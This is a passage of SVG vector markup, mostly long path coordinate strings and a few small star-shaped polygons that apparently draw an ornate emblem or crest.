79,0,0,0,2.48.67l-.33.19c-4.35,1.45-9.38,1.59-14.26,1.4-1.44,0-2.82-.49-4.26-.44a2.63,2.63,0,0,0,1.15.68,2.78,2.78,0,0,1-1.29.38,9,9,0,0,0-1.82.49,4.72,4.72,0,0,0-2,.48,10.18,10.18,0,0,1-2.73,2.22c0,.19,0,.48.19.48.91-.39,2.06-.1,3-.48,1.57-.15,2.48-1.89,3.73-2.61,1.34-1.06,3.25-.82,4.88-.58,1,.25-.1.63.19,1.25.38.35.72.73,1.25.58a.73.73,0,0,1,.33-.23,1.09,1.09,0,0,0,0-1.21c.67-.43,1.59,0,2.3-.24,1.82,0,3.64-.44,5.41-.48.28,0,.62-.34.91,0-.14.38-.63.44-.43,1s.57.63,1,.72c.48-.19.91-.53.72-1.15-.1-.34-.47-.39-.72-.53,1-.48,2.16-.63,3.16-1.11a10,10,0,0,0,2-.67c.61,0,1.14-.63,1.71-.39a9.5,9.5,0,0,1-1,2.31c-.76,2.56-1.34,5.93,0,8.39.15,0,.19,0,.29-.1-1-2.55-.43-5.49.43-7.9.67-4.09,4.88-5.3,7.89-6.84l.15.19c-.82,2.12-2,4.14-1.82,6.7.09.43-.19.86,0,1.15a5,5,0,0,0,1.77-2.21c.33-2.17-.91-4.87,1.29-6.46,3.92-1.54,7.61-3.57,12.15-3.61.15.14.48-.1.53.18-1,1.07-2.34,2.08-2.77,3.38-1.53,2.12-1.49,5.73-.82,8.34.43,1.49-.86,2.31-1.48,3.47-.3.41-.39,1.11-.66,1.58l.94.11-1.57.36a1.23,1.23,0,0,1-.53,0c-.77-2,1.53-3.18.81-5.1a3.47,3.47,0,0,0-3.3-2,4,4,0,0,0-3.83,2c-1.1,2.41.29,4.91.72,7.27-.1.77.77,1.64,0,2.27a6.51,6.51,0,0,0-5.4-1.11c-.58.29-1.63-.1-1.91.58,2.05,1.1,4.68,1,7,.86.28-.09.47-.14.71,0,.2,1.25-.24,2.94.53,4a4.9,4.9,0,0,0,3.68,1.59c4.41-.14,8.33-1.44,12.35-2.46.62-.05,1.1-.38,1.77-.38a34.49,34.49,0,0,1,6.79-.92,12,12,0,0,0-2,4.34c-.58,1.3,1,1.49,1.48,2.22-1.48.43-2.54,1.44-3.93,2-3.05-.1-5.64,1.06-8.51,1.4,0,.62,1,.43,1.1,1.06-.14.43-.58.48-.91.72,0,.29,0,.34.29.38.29-.33.91-.09,1.19-.43,1,0,1.77-.29,2.68-.34a8.56,8.56,0,0,0,2.44-1c1-.29,1.63-1,2.63-1.25,1.44,0,2.73-.48,4.07-.58v.29c-1.1,1.78-2.24,3.61-3.39,5.3a.53.53,0,0,0,.33.77,2.5,2.5,0,0,0,1.87-.29,57.88,57.88,0,0,0,2.72-5.16c.34-1.64,1.53-2.5,2.73-3.61.19-.1.48-.39.67-.1a21.17,21.17,0,0,0-2.29,3.38c-.39,1.35-.49,3.08.71,4.19.57.48,1.44.34,2.2.39,1.87-1,4.26.57,5.7-1.26.86-.14,1,.87,1.48,1.35.81.24,1.67,1.06,2.49.48-.05-.53-.63-1-.91-1.49-.58-1-1.29-1.83-1.82-2.75a9.49,9.49,0,0,1-.77-1.78,14.66,14.66,0,0,0,2.59,1,16.74,16.74,0,0,1,2.59.77,8.88,8.88,0,0,0,2.39,1.84c1.19.57,2.53.67,3.77,1.15.49,0,1.2.44,1.54,0a2.14,2.14,0,0,0-.72-.53c-.15-.62.86-.29,1.19-.77a.67.67,0,0,0-.55-.37c-.69-.36-2.39-.49-2.85-.74a9.78,9.78,0,0,1-1.67-.53c-2.87,0-4.45-2.6-6.74-3.56.52-.49,1.33-.88,1.67-1.59a2.7,2.7,0,0,0,.14-2.56c-.43-1.49-2.34-1.3-3.44-2.12l.14-.15a20.11,20.11,0,0,1,5.17.68c4.59.62,8.85,2.36,13.64,2.46,2.63,0,5.93.14,7.22-2.41.24-1.5.53-3,.77-4.48.57-2.41,2.15-4.63,1.91-7.28a5,5,0,0,0-3.25-3,4.14,4.14,0,0,0-4.16,1c-1.73,1.4-.53,3.71-.48,5.59,0,.39.05.68-.34.87-6.93-.63-13.39-2.36-20.29-3.08-1.58-.28-3.17-.21-4.68-.52l-1.92-.21c-6,.2-12,.53-17.56,2-1.19.38-2.54.48-3.73.91-.86-.14-1.58.48-2.39.25a5.13,5.13,0,0,0,1.62-3.19,1.34,1.34,0,0,0,.91,1c.34-.53-.28-.92-.33-1.45.76-.43,1.1.53,1.72.73a12.14,12.14,0,0,0,2.92.67l.33-.34c-1-1.64-3.16-1.92-5-2-1-1.59-1-3.57-.86-5.5a8.19,8.19,0,0,1,.95-3A7.36,7.36,0,0,1,152.53,99a6.76,6.76,0,0,1,3-1.63h.15a.21.21,0,0,0,.05.14c-1.29,1-1.44,2.41-2.2,3.67a4,4,0,0,0-.43,4.18c.28.63.14,1.6.81,2a10.65,10.65,0,0,0,1-2.94c-.14-1.59-1.1-3.08-.19-4.63a4,4,0,0,1,2.58-2.12c2.64-.24,4.93,1.11,7.23,2.12.48.34,1.29.63,1.39,1.31a3.91,3.91,0,0,1-6.13,3.18,3.33,3.33,0,0,1-.76-2.94,2,2,0,0,1,2.1-.77c.48.24.91.72,1.53.43a.59.59,0,0,0,.19-.77c-.52-.29-.71-1-1.43-1.11a3.07,3.07,0,0,0-2.63.53,3.38,3.38,0,0,0-1.1,3.37,4.12,4.12,0,0,0,3,3.09,5.56,5.56,0,0,0,5.89-2,6.45,6.45,0,0,0,1.06-2.07,12.54,12.54,0,0,1,4.92,6.36,10.33,10.33,0,0,1,.05,2.41l1.67.15a1.61,1.61,0,0,1,.15-1.16,14.41,14.41,0,0,1,4.93-7.9c.81-.48.61.62.81,1a6.44,6.44,0,0,0,4.16,3.66,5.24,5.24,0,0,0,5.17-1.68c.62-1.16,1.39-2.85.33-4a3.26,3.26,0,0,0-2.62-1.25,3.21,3.21,0,0,0-2.63,1.78c0,.39-.06.82.28,1,.19,0,.58,0,.72-.24.1-.72.71-1.06,1.29-1.45a1.49,1.49,0,0,1,1.53.29,2.57,2.57,0,0,1,.67,1.88,2.93,2.93,0,0,1-1.58,2.27,4.86,4.86,0,0,1-4.59-.44,10.17,10.17,0,0,1-1.34-2.12,3.41,3.41,0,0,1,0-2.21,16.07,16.07,0,0,1,6.84-2.41,4.92,4.92,0,0,1,2.54,1.58c2.2,2.27-.48,5.5,1.05,8,.58-.1.58-.87.81-1.35.72-1.73-.19-3.62-.62-5.3A9.74,9.74,0,0,0,190.33,98a1.31,1.31,0,0,1,.58-.09,12,12,0,0,1,2.92,2.5,13,13,0,0,1,1.86,7.91c-.38,1.44-1.91,2.12-3.11,2.65a4.36,4.36,0,0,0-1.29,1.54c.58.33,1.39,0,2-.24.91-.34,1.44-1.5,2.06-2,.09,0,.05.19.09.29,0,.52-.23,1.25.24,1.39a16.72,16.72,0,0,0,.43-2.46,4.66,4.66,0,0,1,.91,2.41c.43.87,1.15,2,2.3,2.17.29-.43-.05-.87-.14-1.25-.15-1.21-1.15-1.83-1.82-2.7-1.68-2.31-.91-5.93-2.2-8.53A10.3,10.3,0,0,0,192.54,98l.19-.19c2.34,0,4.3.72,6.46,1.16,2.63,1.3,6.46,1,7.7,4.43a12.65,12.65,0,0,0,2.73,5.2l.14-.09a2,2,0,0,0,0-1.79c-.29-2.4-2.39-3-3.5-5l.15-.2a33.53,33.53,0,0,1,3.49,1.11c3.83,1.06,6.5,4.82,7,8.72a18.93,18.93,0,0,1-1.77,8.24c-.15.39-.82.82-.39,1.16.53-.39.63-1,.91-1.45a13.37,13.37,0,0,0,1.59-9.68c-.06-.63-.77-1.11-.44-1.73a1.56,1.56,0,0,0,.82.43c.29-.2.72-.2.91-.53s.24-.63,0-.87a1.3,1.3,0,0,0-1.39-.34,2.36,2.36,0,0,0-.58,1.06,9.78,9.78,0,0,0-1.72-2.55l.1-.14c2.15.72,4.11,1.77,6.32,2.36a3.18,3.18,0,0,0,1.67.52,46.46,46.46,0,0,0,5.88,1.5c1.44-.15,2.64.53,4.07.19ZM156,132.07l-.67-.62c.33-.43,1-.19,1.58-.48a8.22,8.22,0,0,1,4.06-.58c-1.44,1.16-3.3,1.3-5,1.68Zm29.87-.76a21.25,21.25,0,0,0,5.1,1.2c-.15.66-1.31,0-1.18,1-1.48-.57-3.21-.86-4.31-2,.1,0,.2-.19.39-.14ZM141,110.82a3.45,3.45,0,0,1,1.15-2.41,4,4,0,0,1,3.78.15,1.8,1.8,0,0,1,.77.91,2.17,2.17,0,0,1-.72,2.17h-.48a5.45,5.45,0,0,1,.28-2.17c0-.58-.52-.62-.9-.87a2.84,2.84,0,0,0-2.16.49,2.16,2.16,0,0,0-.62,2.12c.33.53.05,1.25.24,1.83l-.14.19a3,3,0,0,1-1.2-2.41Zm2.25,1.38c.72.53,1.72.29,2.58.44a1.75,1.75,0,0,1-.24,1.63c-.81-.19-1.86-.1-2.3-.87.1-.33-.13-.81,0-1.2Zm-.14-1.62c.14-.38,0-1,.52-1.06.34-.09.86-.09.91.29a9.18,9.18,0,0,1-.24,1.69,1.09,1.09,0,0,1-1.19-.92Zm22.44,15.47a5.21,5.21,0,0,1,1.53-4.34,2.77,2.77,0,0,1,2.06.1c-1.25.34-2.83.62-3.11,2.22.05.62-.15,1,.14,1.49.52.92,1.72.53,2.39,1.25a.62.62,0,0,1-.43.58,18.89,18.89,0,0,1-2.58-1.3Zm-1.72,3.33c1.15-.49,2.34-1.5,3.63-1.06a6.61,6.61,0,0,1-3.63,1.06Zm4.54.48a35.4,35.4,0,0,1-2.34,4.53c-.1.24-.48.29-.77.34,0-.68.67-1.21,1-1.79,1-1.3,1.3-2.69,2.44-3.95.29.29-.28.48-.28.87Zm1.2-2.8v.19h-.1V127h.19a.33.33,0,0,0-.19,0Zm-.43-1.3a11.55,11.55,0,0,1-2.3-.57c-.48-.49,0-1,0-1.55.67-1.06,2.58-1.59,3.49-.62a5.09,5.09,0,0,1-1.19,2.74Zm1.05,0a8.13,8.13,0,0,1,.76-2,4,4,0,0,1-.76,2Zm.52-3.9c-.62-.15-1-.87-1.62-.87a3.91,3.91,0,0,1,1.81,0c.24.34-.13.63-.19.92Zm.58,1.45h0v-.53h0v.53Zm.05,2.21c-.05-.19.09-.43.14-.67.24-.24.48.19.58.34a.73.73,0,0,1-.72.33Zm.72-3a5.19,5.19,0,0,1,.71-1.78,2.83,2.83,0,0,1,1.29.19c.1,1,1.3,2.27,0,3.09-.43.19-1.05.62-1.53.19a1.33,1.33,0,0,1-.47-1.69Zm3.49-1.35c-.11-.43.42-.09.62-.28l1.48.09c-.77-.09-1.72,1.69-2.1.19Zm2.39.63c-.58.19-1,.87-1.58,1a1.94,1.94,0,0,1,1.58-1Zm-2,3v.14h-.05v-.14Zm.09,2.94c-.05.09,0,.24-.09.34l-1.1-.87a1.13,1.13,0,0,1,1.19.53Zm-1.29-1.49a.35.35,0,0,1,.43,0Zm-.67-.73c.2-.29.43-.72.77-.72a.2.2,0,0,0,.09.14,2.3,2.3,0,0,1-.86.58Zm-1.1-.1h-.19l.29-.28c.14.09-.05.19-.1.28Zm.14,1.83c.63-.67,1.2.39,1.44.92.72,1.06,2.59,2,1.87,3.47-.92.82-2.35.05-3.35.68-.53,0-1.43.09-1.72-.44a28.42,28.42,0,0,1,1.76-4.63Zm-1.33.92.24-.38a20.66,20.66,0,0,1-1.58,3.47c-.29-1.16.91-2.08,1.34-3.09Zm2.1,5.74c-.91.05-2.3.58-3.16-.2.06-.38-.38-.58-.33-1,.76-.29,1.43.63,2.15-.05a19.75,19.75,0,0,1,3.35.1c.53.14,1.34-.87,1.44.14-.39,1.59-2.3.48-3.45,1Zm2.78-6.94v-.15h.09V127Zm.28,3c0,.48.53.68.24,1.11a1.48,1.48,0,0,1-.24-1.11Zm1.34,2.9L178,133c-.23-.19-.14-.72-.09-1,.28.24.53.58.33.92Zm2.39,1.15c0,.15-.28.15-.37,0a25.52,25.52,0,0,1-3-5.78l.19,0c1.15,1.88,2.06,3.95,3.2,5.78Zm1.78-4.43a.19.19,0,0,0-.1.19c-1.39.05-2.3-.77-3.35-1.49l-.05-.24a8.89,8.89,0,0,1,3.5,1.54Zm-1.25-6.41c.57.14.62.77.67,1.25a2.85,2.85,0,0,1-3.49,2.56,3.07,3.07,0,0,0,2.87-1.64l-.05-2.17Zm-1.05-.19a3.21,3.21,0,0,1,.43,2.12c-.48.91-1.44.91-2.3,1.11a1.51,1.51,0,0,1-1.1-.35.48.48,0,0,0-.19-.48c.15-.62-1.1-1.25-.24-1.78.76-.72,2.59-2.36,3.4-.62Zm21.58-15a3.34,3.34,0,0,1,2.78.1,2.15,2.15,0,0,1,1.58,1c.71.67.52,1.87.38,2.74a2.75,2.75,0,0,1-2.06,1.64c0-1.16,1.1-2,.72-3.28a2.89,2.89,0,0,0-3-1c-.43.29-.24.77-.38,1.21l-.19,1.58c-1,0-1-.86-1.3-1.54a2.83,2.83,0,0,1,1.49-2.51Zm.87,4.34c.52-.53-.15-3.56,1.33-1.59,0,.39.05,1-.33,1.26s-.62.57-1,.33Zm.52,1.21c0,.77-.67.57-1.05.87h-1.15a2.63,2.63,0,0,1-.15-1.35,9.35,9.35,0,0,1,2.35.48Zm-48,.14a81.5,81.5,0,0,1,11.05-1.68c4.31,0,8.71-.29,12.83.43,1.34,0,2.49.38,3.78.48,2.68.34,5.17,1.07,7.89,1.25a13.1,13.1,0,0,0,1.44.25c4.31.67,9.14,1.87,13.25,0,0,1.73-.71,3.32-1,5-.39.48,0,1.25-.53,1.68,0,.87-.72,1.3-1.33,1.64-5.7,1.25-11.3-.67-16.8-1.64-7.71-1.68-16.7-2.16-24.55-.38-3.68.67-7.27,1.54-10.81,2.55-2.21.29-4.6.63-6.7,0-1.72-.83-1-3-1.53-4.58a25.89,25.89,0,0,0-.39-3.33,2.85,2.85,0,0,1-.19-1.25,20.63,20.63,0,0,1,2.2.82c4,.77,7.61-.53,11.34-1.21Zm51.68-34.21c0-.1-.19-.15-.14-.29,1.72-.44,3.2-1.45,4.93-1.88h0l.19.57-.1,1.6Zm0-4a5.87,5.87,0,0,0,.86-1.3c.05-.48-.19-.67-.48-1,.34-.34.87-.24,1.3-.34a5.41,5.41,0,0,1,2.67,3.19,33,33,0,0,1-5.83,2.16h0a17.8,17.8,0,0,1,1.48-2.7Zm-17-11.4c1.53,2.54,3.44,5.44,6.28,6.39,1.53,1.25,3.45,2.75,5.5,1.64,1.1-.34,1.2,1.21,1.73,1.83.57,1.79-.73,3-.82,4.68l-.07.15a1.91,1.91,0,0,1-1.12,1,11.28,11.28,0,0,1-2.2.63c-6.23,2.41-12.68,5-17.61,9.88a5.65,5.65,0,0,0,.47-2,4,4,0,0,0-.52-2.11,3.19,3.19,0,0,1-.36-1.27l6-3.81c1.52-.7,2.62-3,2.62-5.57l0-15.73.08,4.37Zm-1,11.7a5.79,5.79,0,0,1-2.17,4.45l-12.57,8h-.07a1.54,1.54,0,0,1-1,.34,1.56,1.56,0,0,1-1-.36l-12.55-8a5.75,5.75,0,0,1-2.16-4.45V69.46a.24.24,0,0,0,.38,0c1.25-.83.86-2.66.86-3.91.29-1.5-.76-2.21-1.19-3.52a.12.12,0,0,1-.05,0V51h5.21a4.22,4.22,0,0,0,1.15.5l.36-.5h24.75V75.89ZM154.59,57.57a3.93,3.93,0,0,1,1.63-2.75.55.55,0,0,1,.24.34h0v5.25c-.46-.93-2.36-1.64-1.88-2.84Zm9.18,31.86a90.86,90.86,0,0,0-15.88-9.61c.5-1.43.93-2.6,1.05-2.83a8.28,8.28,0,0,0,.29-2.22,9.34,9.34,0,0,0,.29-3.27A22.61,22.61,0,0,1,151,67c.29-.73.53-1.5.81-2.22a7.45,7.45,0,0,1,1-2.51c1.48.94,2.92,1,3.7,2.48l0,10.78c0,2.6,1.1,4.87,2.62,5.57l5.19,3.3c.07,1.66-1,3.14-.53,4.91v.1Zm7.37,10.06A34.79,34.79,0,0,0,165,90.68c-.1-.44-.53-.82-.29-1.3a3.52,3.52,0,0,0,.62-3.66c-.09-.25-.37-.54-.33-.78l-.4-.32,7.32,4.64a1.54,1.54,0,0,0,2.2.13l2.48-1.57c-1.81,2.69,1.13,6.62-1.17,9.17v.19c-.67.87-1,1.74-1.91,2.31-1.15-.48-1.58-1.78-2.25-2.74-1.06-1-1.06-3.09-.44-4.48.44-1.4-.28-2.6-.42-3.86l-.48-.28a5.54,5.54,0,0,0-.67,5.63c.48.87.53,2.08,1.24,2.8a15.6,15.6,0,0,0,2.06,3.57c.19.48-.29.57-.53.81-.52-.33-.43-1.11-.91-1.45Zm3.21,5.4c-.19.58-.58,1.06-.52,1.69l-.2.1c.14-.73-.57-1.16-.38-1.93-.38-.58-.38-1.3-.72-1.93s.38-1.1.72-1.63c.67.28.91.91,1.38,1.49.29.82-.33,1.44-.28,2.21Zm-.29-4.62a16.06,16.06,0,0,0,3.4-7c.34-.24.1-.86.43-1.16-.09-.76.43-1.53.05-2.16.3-1.06-1.4-2-.31-2.7l-.22.1,3.05-1.93a6.65,6.65,0,0,0-.37,4.05c.15.86.86,1.88.2,2.64-2.3,2.8-3.6,6.17-5.13,9.36-.57-.1-.86-.63-1.1-1.16Z" transform="translate(-23 -22)"/><path class="cls-1" d="M226.27,101.86a7.3,7.3,0,0,0-6.94,2.26c-.1.1-.05.25.09.34a1.3,1.3,0,0,0,.63-.14c2.39-.1,4.74-.53,6.41-2,.09-.24-.19-.29-.19-.43Z" transform="translate(-23 -22)"/><path class="cls-1" d="M217.79,103.93c.54-.24,1-.63.78-1.3a.91.91,0,0,0-1.49-.29c-.15.24-.48.44-.34.82a1.38,1.38,0,0,0,1,.77Z" transform="translate(-23 -22)"/><path class="cls-1" d="M125.88,103.26c.09.29.29.67.62.72a.94.94,0,0,0,.86-.25,1,1,0,0,0,.24-1c-.28-.44-.71-.39-1.1-.39a1,1,0,0,0-.62.92Z" transform="translate(-23 -22)"/><path class="cls-1" d="M119,106.19v-.33c-1.82-1.3-3.25-3.23-5.65-3.23-.28.1,0,.29,0,.43a6.49,6.49,0,0,1,2.54,2.42,3.71,3.71,0,0,0,3.11.71Z" transform="translate(-23 -22)"/><path class="cls-1" d="M232.87,102.63a8.86,8.86,0,0,0-4.26,4.58c.29.33.58-.15.91-.15,2-.72,2.92-2.74,4-4.38a1.53,1.53,0,0,0-.67-.05Z" transform="translate(-23 -22)"/><path class="cls-1" d="M128.9,103.64c.24.29.43.58.81.53.34-.29.72-.38.67-.91a1,1,0,0,0-1-.53c-.23.24-.67.43-.47.91Z" transform="translate(-23 -22)"/><path class="cls-1" d="M239.57,103.55l-.24-.29c-1.53.62-2.49,2.26-3.16,3.71-.24.43-.81.91-.57,1.39,1.53-.24,2.34-1.49,3.3-2.6.43-.67.24-1.59.67-2.21Z" transform="translate(-23 -22)"/><path class="cls-1" d="M102.72,104.08a.9.9,0,0,0,.38,1.15,1.11,1.11,0,0,0,1.1-.19.93.93,0,0,0,0-1.06c-.33-.58-1.19-.34-1.48.1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M100.33,104.17a.94.94,0,0,0-.48,1,1,1,0,0,0,1.1.63,1.1,1.1,0,0,0,.67-.58c0-.24-.09-.44-.14-.67a1,1,0,0,0-1.15-.39Z" transform="translate(-23 -22)"/><path class="cls-1" d="M105.3,105.42c.39.39.78.88,1.45.58.57-.09.47-.77.37-1.15a1.32,1.32,0,0,0-1.24-.39,1.11,1.11,0,0,0-.58,1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M114.07,105.09a1.87,1.87,0,0,0-.68.53c-.29.33.24.57.34.86.24,0,.67.15.91-.09s.28-.58.33-.92c-.19-.38-.62-.23-.9-.38Z" transform="translate(-23 -22)"/><path class="cls-1" d="M242.34,106.05a1.28,1.28,0,0,0,1.11.53c.38,0,.57-.43.71-.77-.09-.53-.71-.72-1.19-.72s-.81.43-.63,1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M235.41,106.05a1.05,1.05,0,0,0-2.06.1,1.15,1.15,0,0,0,1.48.72c.2-.15.63-.43.58-.82Z" transform="translate(-23 -22)"/><path class="cls-1" d="M240,105.57c-.29.29-.63.62-.2,1a1.12,1.12,0,0,0,1.15.2,1,1,0,0,0,.43-.82c-.14-.58-1-.63-1.38-.39Z" transform="translate(-23 -22)"/><path class="cls-1" d="M101.81,106.3a.89.89,0,0,0-.47,1,1.09,1.09,0,0,0,1,.68,1,1,0,0,0,.57-1.21,1.09,1.09,0,0,0-1.15-.47Z" transform="translate(-23 -22)"/><path class="cls-1" d="M232.34,108.56a1.06,1.06,0,0,0,.67-1.26.93.93,0,0,0-1.62-.09c-.38.24-.14.77.05,1a1,1,0,0,0,.9.34Z" transform="translate(-23 -22)"/><path class="cls-1" d="M127.7,107.21c-.29.1-.38.29-.63.48-.13.43.15.72.39,1s.53.15.71,0c.16-.29.73-.39.53-.92-.28-.28-.47-.77-1-.62Z" transform="translate(-23 -22)"/><path class="cls-1" d="M243.3,108.17a1.09,1.09,0,0,0-1.1-.67c-.33.1-.38.34-.67.53,0,.43,0,.82.43,1.06a1.27,1.27,0,0,0,1.1-.2c.05-.24.34-.38.24-.72Z" transform="translate(-23 -22)"/><path class="cls-1" d="M242.06,112.46v-.38a12.81,12.81,0,0,0-3-2.56c0-.29.34-.14.53-.19.38-.14.91-.44.71-1a1.61,1.61,0,0,0-.71-.68c-.39-.1-.57.19-.86.25-.82.57.52,1-.1,1.73-.86,0-2-.19-2.63.43.38.34,1,.34,1.29.58a6.45,6.45,0,0,0,4.74,1.83Z" transform="translate(-23 -22)"/><path class="cls-1" d="M219,108.22c-.14.48.24.77.49,1.11a1,1,0,0,0,1.05-.2c0-.23.33-.52.24-.77a1,1,0,0,0-1.78-.14Z" transform="translate(-23 -22)"/><path class="cls-1" d="M113.77,110.05c0-.72-.9-1-1.43-.58,0,.25-.29.44-.24.78a1,1,0,0,0,.87.57c.47,0,.66-.33.8-.77Z" transform="translate(-23 -22)"/><path class="cls-1" d="M113.68,112.94c-.19.43-1,1-.81,1.4a4.92,4.92,0,0,0,3.83-3.18c.23-.67,1-1.06,1-1.73h-.29c-1.38,1-2.92,1.87-3.68,3.51Z" transform="translate(-23 -22)"/><path class="cls-1" d="M217.85,109.67c-.2.38-.44.77-.06,1.15.25.2.58.53,1,.39a1.26,1.26,0,0,0,.82-1.11c-.39-.53-1.2-1-1.77-.43Z" transform="translate(-23 -22)"/><path class="cls-1" d="M221.29,109.86c-.33,0-.43.43-.67.68a1.05,1.05,0,0,0,.63.86c.14,0,.37-.05.47.1a1.18,1.18,0,0,0,.86-1.06c-.14-.58-.86-.63-1.29-.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M125.06,110.39c-.33-.29-.47-.72-1-.53-.23.24-.66.53-.57,1a.93.93,0,0,0,.91.58,1,1,0,0,0,.71-1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M126.6,110.82c.14.39.53.49.86.58a1.13,1.13,0,0,0,.91-.82,1,1,0,0,0-1.1-.72c-.33.24-.72.48-.67,1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M233.44,114.73c.1-.35-.33-.58-.57-.78a9.45,9.45,0,0,0-2.72-3.51c-.39-.15-.87-.68-1.3-.24a9.86,9.86,0,0,0,2.49,3.85c.72.15,1.34,1,2.1.68Z" transform="translate(-23 -22)"/><path class="cls-1" d="M233.2,111.93c.43.1,1.06.19,1.34-.29a1.15,1.15,0,0,0,.1-1.06c-.33-.14-.58-.43-.91-.38s-.76.24-.91.62.15.82.38,1.11Z" transform="translate(-23 -22)"/><path class="cls-1" d="M131.86,111.5c-.29.29-.81.38-.57,1a.93.93,0,0,0,1.15.58c.48-.24.38-.82.33-1.2-.29-.24-.52-.44-.91-.34Z" transform="translate(-23 -22)"/><path class="cls-1" d="M222.44,115l-1.34-1.45c-.48-.14-.82-1-1.3-.58a.41.41,0,0,0,.2.49c.81,2.16,1.29,4.33,3.45,5.87h.18c.29-.24-.09-.57.05-.91a7,7,0,0,0-1.24-3.42Z" transform="translate(-23 -22)"/><path class="cls-1" d="M136.69,112.94c-1.48-.19-2.81.49-4.21.92a.39.39,0,0,0-.24.43c2.21,1.3,4.89.49,6.8-.86,0,0-.1-.05,0-.1l-2.3-.39Z" transform="translate(-23 -22)"/><path class="cls-1" d="M121.86,117.42c.48.29.72-.24,1.1-.38,2-.48,3.49-2.46,5.12-3.47v-.38c-2.53.24-5.36,1.63-6.22,4.23Z" transform="translate(-23 -22)"/><path class="cls-1" d="M219.62,115.74c-.24-.39-.58-.39-1-.48-.24.14-.57.19-.71.53s0,.77.43,1a.65.65,0,0,0,.9,0,.77.77,0,0,0,.39-1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M215.64,116a.49.49,0,0,0-.61,0,10.47,10.47,0,0,0-4.89.24c-.24.24-.72.1-.76.48,1.43.39,2.92,1.16,4.54.58a2.65,2.65,0,0,0,1.72-1.25Z" transform="translate(-23 -22)"/><path class="cls-1" d="M127.51,118.15c.38-.15.43-.58.57-.77a1,1,0,0,0-1-.82c-.28.09-.67.19-.76.53s.09.57.19.87a1,1,0,0,0,1,.19Z" transform="translate(-23 -22)"/><path class="cls-1" d="M129.8,117c-.24.14-.57.19-.67.44a1.13,1.13,0,0,0,.15,1,1.06,1.06,0,0,0,1,.34,1.77,1.77,0,0,0,.66-.92c-.19-.38-.61-.87-1.1-.82Z" transform="translate(-23 -22)"/><path class="cls-1" d="M217.08,117.76c-.14.34-.62.58-.33,1,.14.24.23.62.57.67a.81.81,0,0,0,1.05-.19,1.2,1.2,0,0,0,.33-.92,1,1,0,0,0-1.62-.53Z" transform="translate(-23 -22)"/><path class="cls-1" d="M219.86,119.5c.57.23.76-.39,1-.63.1-.2,0-.43-.1-.68-.24-.14-.53-.52-.95-.38a.92.92,0,0,0-.58,1.3c.15.1.29.48.58.39Z" transform="translate(-23 -22)"/><path class="cls-1" d="M127.89,119a1.29,1.29,0,0,0-.58,1.39c.2.63.87.63,1.39.53a1.28,1.28,0,0,0,.48-1.3,1.15,1.15,0,0,0-1.29-.62Z" transform="translate(-23 -22)"/><path class="cls-1" d="M127.89,123.3v.25c.77.48,1.53-.25,2.3-.39,1.34-.77,1.62-2.41,1.72-3.76-1.2,1.35-3,2.46-4,3.9Z" transform="translate(-23 -22)"/><path class="cls-1" d="M210.14,119.83a1,1,0,0,0-.62.53c-.14.34-.1.82.24,1s.86.29,1.15,0,.48-.48.28-.77a1.31,1.31,0,0,0-1.05-.68Z" transform="translate(-23 -22)"/><path class="cls-1" d="M137.37,126.54c-.39-1.21,0-2.7-.68-3.81.05-.29-.33-.29-.23-.63a13.06,13.06,0,0,0-1.82-2,.27.27,0,0,0-.34.1c.48,1.69.34,3.62,1.39,5.06.52.49.86,1.4,1.68,1.31Z" transform="translate(-23 -22)"/><path class="cls-1" d="M212.49,120.32c-.24.24-.63.38-.48.86a1.8,1.8,0,0,0,.91.44c.24-.24.67-.34.67-.73a.79.79,0,0,0-1.1-.57Z" transform="translate(-23 -22)"/><path class="cls-1" d="M216.22,120.94c-.19,1.93,1.19,3.33,2.58,4.58H219c.25.1.29-.19.29-.33,0-2-1.48-3.19-2.78-4.3l-.28,0Z" transform="translate(-23 -22)"/><path class="cls-1" d="M214.54,123c-.23.24-.76.48-.71,1,.09.72.9.77,1.43.63a1.11,1.11,0,0,0,.43-.92,1,1,0,0,0-1.15-.67Z" transform="translate(-23 -22)"/><path class="cls-1" d="M208.8,128.7c1.25-1.35,3.06-2.26,3.73-4-.14-.38.63-.91-.14-1A6.73,6.73,0,0,0,208.7,128c0,.19-.14.58.1.72Z" transform="translate(-23 -22)"/><path class="cls-1" d="M214.4,126.43a1.42,1.42,0,0,0,1.06.54c.23-.25.66-.44.66-.87a1,1,0,0,0-1.1-.53c-.28.24-.67.38-.62.86Z" transform="translate(-23 -22)"/><path class="cls-1" d="M166.33,41h14.19a1.19,1.19,0,0,0,0-2.38H166.33a1.19,1.19,0,0,0,0,2.38Zm13.73-2h.52c1,0,.93,1.68,0,1.68-.75,0-1.92-1.68-.53-1.68Zm-5.82,0h1.39c.74,0,2.06,1.68.67,1.68h-1.38c-.75,0-2.07-1.68-.68-1.68Zm-5.81,0h1.39c.74,0,2.05,1.68.66,1.68h-1.39c-.73,0-2.05-1.68-.66-1.68Z" transform="translate(-23 -22)"/><path class="cls-1" d="M180.38,62.67,179.27,67l2.72-1,2.66,1-.81-4.31,1.87.51L185,60.86l.72-2.42-2.11.44,1.05-4-2.66,1-2.72-1,1,4-2.07-.34.58,2.32-.58,2.42,2.17-.61ZM182,59c.67,1.55,2-.09,2,1.55,0,.73-.05,1.57-.67,1.57H181.1c-1,0-1-.65-1-1.62,0-1.4,1.34-.19,1.83-1.5Z" transform="translate(-23 -22)"/><path class="cls-1" d="M182.09,60.81c.61,0,1.46.42,1.46-.21,0-.88-.85-.58-1.46-.58s-1.47-.3-1.47.58c0,.63.84.21,1.47.21Z" transform="translate(-23 -22)"/><polygon class="cls-1" points="150.88 37.79 151.1 37.39 150.63 37.43 150.36 36.94 150.08 37.44 149.61 37.39 149.83 37.79 149.47 38.16 149.93 38.25 149.93 38.76 150.36 38.44 150.78 38.76 150.78 38.25 151.24 38.16 150.88 37.79 150.88 37.79"/><polygon class="cls-1" points="147.82 40.96 147.82 41.47 148.25 41.15 148.68 41.47 148.68 40.96 149.14 40.88 148.78 40.5 149 40.1 148.53 40.14 148.25 39.65 147.97 40.15 147.51 40.1 147.72 40.5 147.37 40.88 147.82 40.96 147.82 40.96"/><polygon class="cls-1" points="151.3 40.16 150.94 40.53 151.39 40.62 151.39 41.12 151.82 40.8 152.25 41.12 152.25 40.62 152.7 40.53 152.36 40.16 152.58 39.75 152.1 39.79 151.82 39.31 